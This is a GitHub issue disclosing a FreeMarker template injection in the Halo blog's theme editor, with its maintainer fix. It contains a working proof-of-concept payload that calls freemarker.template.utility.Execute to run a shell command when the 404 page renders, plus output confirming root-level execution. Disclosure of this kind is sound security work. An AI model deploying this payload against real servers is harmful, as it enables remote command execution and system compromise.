New issue

Jump to bottom

A Server-Side Freemarker template injection vulnerability could cause remote command execution #419

Closed 5 tasks done **any-how** opened this issue on Dec 11, 2019 · 1 comment

Labels vulnerability

any-how commented on Dec 11, 2019 • edited

I am sure I have checked

- [x] Halo User Guide Documentation
- [x] Halo BBS
- [x] Github Wiki
- [x] Other Issues

I want to apply

- [x] BUG feedback

In the Edit Theme File function. I can edit the ftl file. This is the freemarker template file. This file can cause arbitrary code execution when it is rendered in the background.

首页 / 外观 / 主题编辑

```
1  <!DOCTYPE html>
2  <html>
3    <#assign test="freemarker.template.utility.Execute"?new()>
4  ${test("touch /tmp/freemarkerPwned")}
5  <head>
6      <meta http-equiv="content-type" content="text/html; charset=utf-8">
7      <link rel="alternate" type="application/rss+xml" title="atom 1.0" href="/atom.xml">
8      <title>Not Found</title>
9      <link href="${static!}/source/css/style.min.css" type="text/css" rel="stylesheet"/>
10 </head>
11 <div class="page_404">
12     <p>The page you are looking for is missing</p>
13 </div>
14 </html>
```

Anatole

- module
- source
- 404.ftl
- 500.ftl
- README.md
- archives.ftl
- category.ftl

RCE code is

```
<#assign test="freemarker.template.utility.Execute"?new()>
${test("touch /tmp/freemarkerPwned")}
```

Then visit an arbitrary 404 page, this vulnerability is triggered.
such as http: //demo.halo/foo

```
root@qingye:~#
root@qingye:~# ls -al /tmp/freemarkerPwned
-rw-r--r-- 1 root root 0 Dec 10 18:27 /tmp/freemarkerPwned
root@qingye:~#
```

JohnNiang added the vulnerability label on Dec 12, 2019

JohnNiang referenced this issue on Dec 12, 2019

`Config freemarker with safer resolver` `dc3a73e`

JohnNiang commented on Dec 12, 2019 Member

Configure freemarker new builtin class resolver with SAFER_RESOLVER.

JohnNiang closed this as completed on Dec 12, 2019

JohnNiang mentioned this issue on Dec 24, 2019

unsafe template file permissions edit cause Server Side Template Injection(SSTI) #440

Closed

5 tasks

Assignees

No one assigned

Labels

vulnerability

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants